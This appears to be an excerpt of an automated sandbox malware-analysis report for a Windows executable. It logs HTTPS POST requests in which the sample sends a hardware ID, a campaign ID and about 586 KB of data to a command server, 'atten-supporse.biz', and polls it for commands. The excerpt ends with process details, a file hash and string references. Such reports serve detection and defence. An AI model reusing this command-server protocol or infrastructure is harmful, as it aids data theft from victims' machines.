{"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=k6ioqxomghrBhGPWaYsqUJL1%2FFXs%2Bg0V76KnaptwgDM2oC2JvaC4dWeXlWhDE4rGslTk2xiiUEG09rAOaysLMtqS%2BhXYJHJxAqbvkJqbOh%2Fx8XAxFIQySFiszKKZH9H4Wrd9JKI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eb741662b3342b3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1754&min_rtt=1747&rtt_var=660&sent=13&recv=27&lost=0&retrans=0&sent_bytes=2846&recv_bytes=21347&delivery_rate=1671436&cwnd=236&unsent_bytes=0&cid=f6e7ca8a80ffce08&ts=1414&x=0"
2024-12-02 00:38:41 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-12-02 00:38:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49735	172.67.165.166	443	6516	C:\Users\user\Desktop\tyhkamwdmrg.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:38:43 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=XTZ2792U43G3BDYW User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1244 Host: atten-supporse.biz
2024-12-02 00:38:43 UTC	1244	OUT	Data Raw: 2d 2d 58 54 5a 32 37 39 32 55 34 33 47 33 42 44 59 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 39 43 38 31 39 35 35 30 31 46 31 32 38 33 36 32 44 39 30 35 37 33 37 39 43 44 32 34 39 33 38 0d 0a 2d 2d 58 54 5a 32 37 39 32 55 34 33 47 33 42 44 59 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 58 54 5a 32 37 39 32 55 34 33 47 33 42 44 59 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 42 56 6e 55 71 6f 2d 2d 40 64 69 73 74 65 7a 0d 0a 2d 2d Data Ascii: --XTZ2792U43G3BDYWContent-Disposition: form-data; name="hwid"39C8195501F128362D9057379CD24938--XTZ2792U43G3BDYWContent-Disposition: form-data; name="pid"1--XTZ2792U43G3BDYWContent-Disposition: form-data; name="lid"BVnUqo--@distez--
2024-12-02 00:38:44 UTC	1021	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 00:38:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=h0k8jhk59tgo4pj8kouc8u079m; expires=Thu, 27-Mar-2025 18:25:22 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vzgdPH9nbH5CqDYrmcjOfxMVRRpdxmJDA4qtKy0usz9xbW1h8Mu18F1h%2Bfa3ruf%2F8hm5nQVp1D2FT7P1%2FCIuEWA%2B5LBdSL%2BYfwbhPwe7V9xUqKTFj6V4SuUDOsXLuc94QIHmRxA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eb74179fa8e7d06-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2018&min_rtt=2016&rtt_var=761&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=2161&delivery_rate=1432074&cwnd=244&unsent_bytes=0&cid=a6cc84950c9b1fac&ts=1205&x=0"
2024-12-02 00:38:44 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-12-02 00:38:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49737	172.67.165.166	443	6516	C:\Users\user\Desktop\tyhkamwdmrg.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:38:46 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=C87YUY0BDXPWAVD User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 586198 Host: atten-supporse.biz
2024-12-02 00:38:46 UTC	15331	OUT	Data Raw: 2d 2d 43 38 37 59 55 59 30 42 44 58 50 57 41 56 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 39 43 38 31 39 35 35 30 31 46 31 32 38 33 36 32 44 39 30 35 37 33 37 39 43 44 32 34 39 33 38 0d 0a 2d 2d 43 38 37 59 55 59 30 42 44 58 50 57 41 56 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 43 38 37 59 55 59 30 42 44 58 50 57 41 56 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 42 56 6e 55 71 6f 2d 2d 40 64 69 73 74 65 7a 0d 0a 2d 2d 43 38 37 Data Ascii: --C87YUY0BDXPWAVDContent-Disposition: form-data; name="hwid"39C8195501F128362D9057379CD24938--C87YUY0BDXPWAVDContent-Disposition: form-data; name="pid"1--C87YUY0BDXPWAVDContent-Disposition: form-data; name="lid"BVnUqo--@distez--C87
2024-12-02 00:38:46 UTC	15331	OUT	Data Raw: 0a 4f 82 66 0b 65 a9 d1 e7 14 29 e7 cb d8 3f 31 76 28 bf f9 1f 5f b5 28 c6 85 0d e9 17 93 8e 5f 5b 35 eb dd d5 39 6c 8b 8c 8a aa e4 6d 93 59 6e 4e 13 dd 7a 45 4d 2a 71 d0 de 27 74 31 4b 15 1b 51 11 7f 9c 09 bc 0f 42 65 97 6a 66 4a af f1 e3 06 06 b7 f2 0a 89 8f 61 2f 75 c2 40 89 52 25 82 fe 3c bd d1 50 1b 33 74 e4 ec a4 76 f8 5f 1f f7 89 da 60 6e b7 f4 13 9c f9 9f 17 1e 9c 5a 33 9f 91 e9 aa 7a 90 ad 8e 66 4f ab 9b b2 df bf 4f 85 e8 3b 4c 85 6c e8 ab e6 1d 6c aa 9e a8 06 25 49 7b 42 0a ef ce b4 74 71 9e c9 af c0 0d f2 f7 40 5b 50 75 74 6f c2 69 ce 8e d9 42 93 30 f7 43 29 7b 71 d3 8c 21 17 37 1f e5 ae 55 de 10 de 86 f3 f9 eb eb 35 07 a9 e7 d9 e9 f3 3e 31 c2 00 e8 45 50 ad 51 29 34 cb 22 31 fa 4f f1 ee d5 93 7e cb 5f c2 73 40 8f b0 ef 6d dd 27 a0 a7 1a b0 83 Data Ascii: Ofe)?1v(_(_[59lmYnNzEM*q't1KQBejfJa/u@R%<P3tv_`nZ3zfOO;Lll%I{Btq@[PutoiB0C){q!7U5>1EPQ)4"1O~_s@m'
2024-12-02 00:38:46 UTC	15331	OUT	Data Raw: 27 44 e6 00 85 49 80 dc 4c 60 0f 94 e7 ec f0 93 07 aa 98 c6 ad 58 22 61 23 15 84 db 40 fe ff f6 1e 92 f0 63 18 bb a0 5e d3 92 dc 1b af 28 36 0a ec 49 4d 2f 1b a1 e0 f9 d1 38 0e 50 fc 54 0c f6 e7 cd 94 76 df 78 72 98 a0 12 90 de c5 94 9b cd d6 b1 74 ae b3 36 42 89 7a 59 3c 8f e6 60 10 ec a6 ac 0d e5 bd 50 88 a6 0f 6d 81 45 8f 43 66 17 1b 24 05 75 dd ce bf 57 ba e0 b7 2f 52 48 ed 75 2a 8d f0 9d 96 99 01 27 f0 f9 42 d0 c9 8b aa bf ef b0 95 04 91 4c c2 20 ba c9 ee 72 1e e7 8a 18 36 b3 15 e6 17 7b bd 9e 04 f0 4d 5a df d9 ec fe 2a a0 5c 53 89 d5 5c f3 ea 7a 1a 6a e7 b2 31 f0 18 56 e6 74 9b 41 b7 4e 23 e6 f7 f2 38 8d b6 42 d4 7d 98 93 92 e7 49 1d 8c 48 2f de 18 c2 f3 88 6f 3c a2 ae 10 ef 43 87 4a 71 f6 79 06 70 fc de fc 43 a0 fc 5f 64 60 6c ce 17 47 ed 7d d1 f5 Data Ascii: 'DIL`X"a#@c^(6IM/8PTvxrt6BzY<`PmECf$uW/RHu'BL r6{MZ\S\zj1VtAN#8B}IH/o<CJqypC_d`lG}
2024-12-02 00:38:46 UTC	15331	OUT	Data Raw: e4 14 98 09 0c 07 33 8b c0 d5 d7 5e 45 e9 ab f0 2f ad f5 e9 41 fd 37 5c a4 e3 7b 0c c2 43 f6 80 a3 fa c8 d3 46 14 be 08 ff fb 58 c6 ca 40 e3 83 75 93 78 23 b0 9c 7c 81 f5 47 57 bf db 38 a5 6f fa 59 c8 32 8c c3 1f 70 c1 9e f4 2b 7e ab ea f0 bd 97 8d b7 ad 8c e2 18 d6 6d fe ae 40 08 3a fb 8c b3 d3 4f fc ed 19 d5 54 78 b3 92 ef 59 5d 20 9c e1 c5 39 c2 1e 42 81 90 d7 4d 35 12 e9 97 fe 8b d9 17 7d b6 ff 70 57 c8 d2 f1 07 42 94 b3 60 93 cd b4 75 7b c5 dd 86 00 d5 d7 7d b3 62 37 ae aa c3 d6 ee 5c 78 95 a8 56 89 20 38 18 4b 62 43 37 78 b4 89 db 44 ad f8 36 92 5c 51 90 c7 22 79 d7 de 0d 8f d9 91 5c ee 75 67 03 b8 cd 95 9a 90 4c 01 79 d3 20 ac 9b 1b d2 48 9d 5c 0f bb cb 39 0e 79 10 11 61 8b e9 80 ff 3b 51 fc 5e e6 8b a5 c1 73 44 d1 67 0c 7d 5d 35 c9 07 50 4d 2d 11 Data Ascii: 3^E/A7\{CFX@ux#\|GW8oY2p+~m@:OTxY] 9BM5}pWB`u{}b7\xV 8KbC7xD6\Q"y\ugLy H\9ya;Q^sDg}]5PM-
2024-12-02 00:38:46 UTC	15331	OUT	Data Raw: 0a 02 17 19 3c ec 7c 45 3b 16 0a 13 e4 80 a9 3d d6 e5 47 02 3e 64 26 32 1e de 00 e6 1b a1 d2 3b fb fe 15 79 16 8e 06 7d 77 d1 8e bc e9 7e ec 25 69 4b 44 71 1a b5 36 8b a9 3c 50 0e 7e 43 b1 aa 05 ae 7f 30 17 d0 3c 6e eb d9 d9 5d 7f f4 5b c4 71 7d 0e 6a f3 d3 dc 51 55 aa fe 5f fe a7 ce f7 a0 ae f2 9f 31 e1 cf 35 7d 66 df ab 01 64 20 93 44 2f 0c 5b ba 4b 3a ed e2 f8 fd 18 c5 d9 0a 7f 58 24 ce af 15 d9 d9 53 f8 34 7e 5b 7c e6 a6 62 8a 0e 5b 96 ef 6d 15 af 71 af 72 0e 73 1e a9 5a 1d 33 3e 15 d7 b2 01 07 03 7f e0 b3 2c 13 bc 49 34 79 66 4d 15 11 67 d2 66 10 66 5a f0 b2 82 83 62 04 3a 75 72 f2 da db 92 c3 ae ed c6 ca f3 77 49 13 ca 39 c4 96 2f e1 3a 93 18 15 4c e6 f0 c1 58 1d b7 56 5c 63 a4 1c 93 37 04 2b 10 c9 fc ed fc dd 98 c2 4b 4b 75 f6 9a 0e 61 1f 24 d0 1e Data Ascii: <\|E;=G>d&2;y}w~%iKDq6<P~C0<n][q}jQU_15}fd D/[K:X$S4~[\|b[mqrsZ3>,I4yfMgffZb:urwI9/:LXV\c7+KKua$
2024-12-02 00:38:46 UTC	15331	OUT	Data Raw: 83 5e 6b 63 c2 99 d7 b7 a6 39 8e f8 93 f4 b7 c7 82 d8 ad 03 22 28 83 60 e3 30 b8 e4 bd 1f 9e 3b 6f 84 ef 3c c6 88 09 ee 6d 41 21 ec 03 00 2b 7c d1 77 f4 d1 60 a3 12 2e 35 54 86 40 20 98 a2 48 b7 e5 77 d4 2a 4b ec a5 ae 75 17 d3 3a 16 4c bd 89 c3 35 b9 1d 94 ca e8 7b d1 4d 33 b8 71 53 10 e1 0c c8 51 82 bd 88 3b c7 c9 d8 56 63 2c c5 4a 9d 8a 69 b5 e8 e4 65 e3 f9 57 8c fa 02 43 03 9f 36 cf 2b 89 b6 1f 20 f4 3b 24 f3 2f 01 e6 ad e2 4d 83 b5 83 db 2a 13 b2 1d 87 92 0a d1 e1 ef ed a1 88 22 21 eb d7 26 26 32 8a 85 ef 14 bd 9a 29 59 cf 74 dc 67 84 7b da ba c3 3d 8b a0 54 77 f4 df 9e 12 ac 6b ad 8e b8 4c 87 88 d0 f3 10 02 b8 77 87 18 cd af e9 6d 71 29 74 46 bf 5d 33 dd 1d 2b 25 33 5a 5c c2 11 e5 31 37 13 b5 79 45 43 27 34 82 24 6d d0 1b 4f 15 06 ed de 7b 59 c3 9b Data Ascii: ^kc9"(`0;o<mA!+\|w`.5T@ HwKu:L5{M3qSQ;Vc,JieWC6+ ;$/M"!&&2)Ytg{=TwkLwmq)tF]3+%3Z\17yEC'4$mO{Y
2024-12-02 00:38:46 UTC	15331	OUT	Data Raw: ff d6 dc 96 9b f6 53 98 9d 3b df de b3 b4 b4 0d 28 5c 0e 39 08 d4 fe 37 db 8d 27 e3 b6 53 ab e7 d4 e4 ac 43 59 9c 9b bd 1a ea cc 5a bd 8f 86 23 0a b5 f1 41 29 16 50 07 02 33 50 6b 56 48 4e 8e 9d e2 e3 85 00 34 ec f2 4f b8 dd 52 83 3b 9d 44 36 48 70 7e db d9 bc 81 16 dd 39 5d f3 b2 da 24 f0 fd 60 72 50 a5 e8 68 ff 40 07 ca 05 4a 31 d1 35 d8 1e c9 a9 16 6b 18 cf 46 b8 70 d8 63 dc 70 f9 63 d9 b9 3f 81 da 3a 3f 67 ea e7 ae 42 94 d9 4b a3 b8 03 75 8d 07 90 16 d1 ea ac ce 9b 5d 3b fa b2 a7 8a f1 39 7b ff d2 57 aa 99 ea fc b9 f6 11 4f ae c8 2a 86 f9 80 70 9b bc d9 aa f8 7d 96 9d 92 4a d1 fd 5f f2 78 dc 67 2a 77 23 af 40 d4 7a f6 61 0f f0 19 fe fc fb db 23 b1 7d ff fe 6d 7c be cb 7b c0 d7 f1 de e6 cc 97 3d 5f fa ef 5f be 37 a5 f6 c5 27 fe de af d3 87 77 1d 1e a0 Data Ascii: S;(\97'SCYZ#A)P3PkVHN4OR;D6Hp~9]$`rPh@J15kFpcpc?:?gBKu];9{WOp}J_xgw#@za#}m\|{=__7'w
2024-12-02 00:38:46 UTC	15331	OUT	Data Raw: c2 2b a8 c6 72 c6 01 5f 85 f9 18 80 e8 30 ab 13 90 d1 f9 52 43 79 c2 09 01 1b b1 aa 14 d8 30 8a a3 b2 8c f4 93 32 62 bb d7 f2 de 1c 21 a4 08 ed c8 49 3d 18 db 46 09 2e 19 5f e5 3f 26 17 52 55 e0 f8 3a a9 59 74 27 cb 0a c4 3f 12 ff 05 35 1c 20 94 20 06 2a 2f 98 00 98 a6 46 c1 a2 bc 76 96 8c 52 35 34 30 64 a4 98 22 1e a6 3c 9f aa a1 14 7b 4c d1 df 48 eb b0 e5 6f 5e 20 b2 9a ab 19 4f 8d 59 42 b9 9d c6 3b f1 1f 9d 7c d8 4d bb 24 f2 a6 99 4c 27 01 52 98 3f 1f 62 65 f9 de b9 4a a9 89 d0 88 21 c6 c4 b6 cc b6 f9 15 5d 70 b2 e9 2b 55 32 21 97 10 02 a6 75 9a 38 e8 f1 5f 8b 42 c1 e4 ba 07 43 a3 4a 45 0e 23 12 64 a1 6a e9 93 64 e5 69 29 2f ba a0 69 18 8c 7c 1d c3 e5 e8 f7 86 f1 cc f0 90 54 42 a7 41 e7 1a 95 0f 2c 1a 86 7a 6a 7e de 97 63 6e 2c 37 86 f9 d9 8f c0 66 f5 Data Ascii: +r_0RCy02b!I=F._?&RU:Yt'?5 */FvR540d"<{LHo^ OYB;\|M$L'R?beJ!]p+U2!u8_BCJE#djdi)/i\|TBA,zj~cn,7f
2024-12-02 00:38:46 UTC	15331	OUT	Data Raw: d6 43 c2 21 93 95 00 a8 fb 09 36 3d 51 e2 a8 0f f8 17 27 31 3a 07 b0 32 20 f6 87 70 f6 a5 91 ce fa f0 0b 3b 48 7d e1 18 58 07 85 3f 8b 23 41 e9 d1 c8 4b 3b cc 0f 56 bd f4 40 ac 52 55 7f ee 7a f7 71 02 aa 0b 87 bc c3 24 d2 21 0f a9 41 d7 d8 45 d1 f9 d7 5b 5a 5b 70 62 31 e9 77 d0 0e 20 eb b3 82 34 6e c7 e2 73 d3 c4 ef 94 de 8f f9 9b e3 98 53 24 3b 1e 30 b5 de 2f d2 47 4b 59 35 1f cf 14 aa 0c f8 61 4f df 5d 04 d9 42 64 87 d9 0c 82 8d 13 4d 15 fb fd 13 1c 45 e3 ca a1 d6 4f 78 33 fa 57 dd 1f 47 15 ee c7 50 85 d3 85 8f bb 34 a3 b6 71 d0 02 2f 34 13 e3 8d 60 b2 be 29 be 61 57 4e 09 07 39 87 58 35 50 6b 30 6d aa 9f 9c 8b 78 2b 7c a8 ee 4f f4 92 7a e2 c4 08 ff ac 21 d9 a0 2e e2 27 64 c7 83 f2 9f 4d 2b d9 a4 c6 67 e5 94 27 4c dd 35 98 9d 37 17 16 40 37 2d dc 61 64 Data Ascii: C!6=Q'1:2 p;H}X?#AK;V@RUzq$!AE[Z[pb1w 4nsS$;0/GKY5aO]BdMEOx3WGP4q/4`)aWN9X5Pk0mx+\|Oz!.'dM+g'L57@7-ad
2024-12-02 00:38:46 UTC	15331	OUT	Data Raw: 73 80 d4 c1 2b 36 7c b4 8a b9 d2 f6 2b 7c 06 90 6e 1b 81 15 55 0e 62 cf 21 4f 04 32 47 7f de b9 78 a3 cf 0c 62 d0 ca 37 df e9 d3 b8 4a c1 dc 21 f3 f2 e1 1c 98 16 bd de 62 5a 95 64 f8 70 73 71 f0 64 9d bf 3c f3 61 eb 5e ed f7 5f 73 ca 83 03 c2 67 d4 9b 7d 75 8d 36 d9 4f 5a 5a 36 87 47 f9 17 36 8b c5 1f a7 6e d6 df fa b5 2a 7c c6 f1 be 0b 6d bd 97 b3 a6 97 1e bc ba 14 f8 ad 85 86 58 c7 0f f8 f9 df 9f 4d d9 f4 58 12 cd 49 7b e7 fc 74 73 c4 39 73 7d 8f ef da 99 f0 6f 4e b6 a3 7a 8e 9f 02 be 82 ca bc cb cf 32 24 e2 81 83 0e ad 32 12 1e e6 d1 d8 59 71 3a c8 f7 f6 8e 05 77 1e bc ce 5d b5 9a 5f 1f 0f 5c 3f 2d 71 ff e8 5d 7b d8 6d 8f c8 23 13 c4 c0 6f 3c 10 f7 69 ff 0b 4f b5 b0 f2 f7 97 0d 76 3b cc 9f 75 38 16 ee 49 75 87 ed 4e 8b 99 d8 78 24 cc b4 bf 36 7b 71 80 Data Ascii: s+6\|+\|nUb!O2Gxb7J!bZdpsqd<a^_sg}u6OZZ6G6n*\|mXMXI{ts9s}oNz2$2Yq:w]_\?-q]{m#o<iOv;u8IuNx$6{q
2024-12-02 00:38:49 UTC	1031	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 00:38:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ssefa77flihlpa9diq3qto3c9n; expires=Thu, 27-Mar-2025 18:25:27 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FPBBLaeDkkDREhKCh9Epa8fPdoQdNA4jnrII67V3ddd%2FpbXPYCy3fp%2FEv71OExIXm56MwJ3tbJsFsNgjgfx50BR5F6UoutFJtvgU%2B%2BP9%2Fcg7rlpyUOE%2BppQYRZX78%2BAM3ra2gQk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eb7418db94e425f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1727&min_rtt=1726&rtt_var=649&sent=328&recv=609&lost=0&retrans=0&sent_bytes=2846&recv_bytes=588788&delivery_rate=1682997&cwnd=216&unsent_bytes=0&cid=e26528acc8cb7914&ts=3227&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49741	172.67.165.166	443	6516	C:\Users\user\Desktop\tyhkamwdmrg.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:38:51 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 84 Host: atten-supporse.biz
2024-12-02 00:38:51 UTC	84	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 42 56 6e 55 71 6f 2d 2d 40 64 69 73 74 65 7a 26 6a 3d 26 68 77 69 64 3d 33 39 43 38 31 39 35 35 30 31 46 31 32 38 33 36 32 44 39 30 35 37 33 37 39 43 44 32 34 39 33 38 Data Ascii: act=get_message&ver=4.0&lid=BVnUqo--@distez&j=&hwid=39C8195501F128362D9057379CD24938
2024-12-02 00:38:53 UTC	1014	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 00:38:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=1rqo9gfgebme2gug7679mjrqfu; expires=Thu, 27-Mar-2025 18:25:30 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dKFjLso2EHvpKs19tjqXDY6z1vIRQYwRGsBAMeVbpvAJh3vaAQmkWvHdiZ10UYIs6QRHtJR1%2BKjStK8ZzP7JB35j8%2FYmxYrEFDvppbFbStJQEtuENtZg83ECmnMl9nonAWDJYAQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eb741ab4eeb4231-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1720&min_rtt=1712&rtt_var=658&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=986&delivery_rate=1642294&cwnd=127&unsent_bytes=0&cid=392281c4c9a7429f&ts=1930&x=0"
2024-12-02 00:38:53 UTC	126	IN	Data Raw: 37 38 0d 0a 4d 61 6c 51 67 4b 52 79 74 76 6a 4a 46 67 68 44 6d 54 36 43 66 57 64 61 71 4b 77 4a 36 2f 67 62 67 52 38 63 79 62 42 64 69 62 64 71 30 6e 4c 31 68 6b 69 55 6b 4c 31 69 65 48 6e 46 45 64 35 53 56 6d 36 66 67 6a 33 65 31 69 2b 32 4d 53 54 34 37 48 4c 71 32 46 2f 42 50 2f 50 51 58 4e 4f 41 72 44 51 6b 59 66 39 4b 6f 45 64 58 64 6f 72 4a 4b 39 48 49 5a 74 77 3d 0d 0a Data Ascii: 78MalQgKRytvjJFghDmT6CfWdaqKwJ6/gbgR8cybBdibdq0nL1hkiUkL1ieHnFEd5SVm6fgj3e1i+2MST47HLq2F/BP/PQXNOArDQkYf9KoEdXdorJK9HIZtw=
2024-12-02 00:38:53 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	19:38:25
Start date:	01/12/2024
Path:	C:\Users\user\Desktop\tyhkamwdmrg.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\tyhkamwdmrg.exe"
Imagebase:	0x2f0000
File size:	1'272'832 bytes
MD5 hash:	949249A7EFCD8C6FD21BC9FFE9ECFDBB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	3.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	70.3%
Total number of Nodes:	239
Total number of Limit Nodes:	23

Executed Functions

Function 00302B10 Relevance: 138.3, Strings: 109, Instructions: 2099COMMON

Download Yara Rule

Strings

#, xrefs: 00304C8A
}, xrefs: 00302DCD
b, xrefs: 00303D89
), xrefs: 00304034
l, xrefs: 00303B09
D, xrefs: 00304AA0
O, xrefs: 00303454
=, xrefs: 003034D7
=, xrefs: 00304074
>, xrefs: 00303653
`, xrefs: 003032B0
8, xrefs: 003040A4
j, xrefs: 00303D79
j, xrefs: 00303707
&, xrefs: 00304971
e, xrefs: 00303B0E
x, xrefs: 00304431
4, xrefs: 00304024
#, xrefs: 00304854
M, xrefs: 00304164
~, xrefs: 00304461
0, xrefs: 00303663
&, xrefs: 00304B50
r, xrefs: 00303D59
?, xrefs: 0030365B
X, xrefs: 003032F0
Q, xrefs: 00304144
$, xrefs: 00304C85
E, xrefs: 00304104
`, xrefs: 0030391C
z, xrefs: 00304441
/, xrefs: 00304054
%, xrefs: 0030468F
w, xrefs: 00303D69
%, xrefs: 00303990
`, xrefs: 003036F7
d, xrefs: 00303717
m, xrefs: 00302FD4
>, xrefs: 003034DC
v, xrefs: 003044A1
,, xrefs: 003036E7
&, xrefs: 00304C7B
0, xrefs: 00303459
?, xrefs: 00304044
#, xrefs: 00304B68
d, xrefs: 003032D0
U, xrefs: 00303BDF
<, xrefs: 00303DC9
D, xrefs: 003045E5
?, xrefs: 00303DB9
#, xrefs: 00304989
&, xrefs: 00303988
&, xrefs: 0030483C
n, xrefs: 003044E1
^, xrefs: 00303320
D, xrefs: 00304134
Z, xrefs: 00304154
i, xrefs: 00302D27
P, xrefs: 003041B4
%, xrefs: 00304B58
?, xrefs: 003034E1
b, xrefs: 003032C0
h, xrefs: 003044B1
\, xrefs: 00303310
], xrefs: 00304174
C, xrefs: 00304184
8, xrefs: 00303623
#, xrefs: 003039A0
d, xrefs: 00303D99
&, xrefs: 00304687
%, xrefs: 00304C80
9, xrefs: 003040E4
%, xrefs: 00304844
&, xrefs: 003032C8
|, xrefs: 00304451
X, xrefs: 00304419
$, xrefs: 00304B60
-, xrefs: 00302BEF
:, xrefs: 00303633
>, xrefs: 00304064
n, xrefs: 00302DC5
`, xrefs: 003044F1
$, xrefs: 00304981
<, xrefs: 003032F8
o, xrefs: 003044E9
A, xrefs: 00304114
7, xrefs: 00304094
n, xrefs: 00302C8D
r, xrefs: 00304481
f, xrefs: 003032E0
%, xrefs: 00304979
8, xrefs: 00304084
], xrefs: 00303318
>, xrefs: 00302BE7
Z, xrefs: 00303300
c, xrefs: 00304409
f, xrefs: 00303DA9
t, xrefs: 00304491
$, xrefs: 00303998
q, xrefs: 0030345E
&, xrefs: 003040F4
j, xrefs: 003044C1
<, xrefs: 00303643
#, xrefs: 0030469F
p, xrefs: 00304471
$, xrefs: 00304697
$, xrefs: 0030484C
l, xrefs: 003044D1
:, xrefs: 003040B4

Memory Dump Source

Source File: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID:
